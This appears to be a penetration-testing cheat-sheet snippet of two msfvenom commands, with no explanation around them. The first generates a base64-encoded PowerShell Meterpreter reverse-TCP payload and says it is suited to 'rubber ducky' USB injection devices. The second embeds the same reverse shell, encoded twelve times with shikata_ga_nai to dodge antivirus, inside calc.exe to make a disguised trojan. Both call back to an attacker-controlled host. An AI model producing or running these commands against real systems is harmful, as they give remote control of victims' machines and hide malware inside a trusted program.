For Powershell (useful for rubber duckies!)
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e cmd/powershell_base64 -f powershell -o /tmp/meterpreter.ps1 LHOST=$IP LPORT=$PORT
Encoded with Shakita_ga_nai into calc.exe
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -f exe -i 12 -x /path/to/calc.exe -o /tmp/payload.exe LHOST=$IP LPORT=$PORT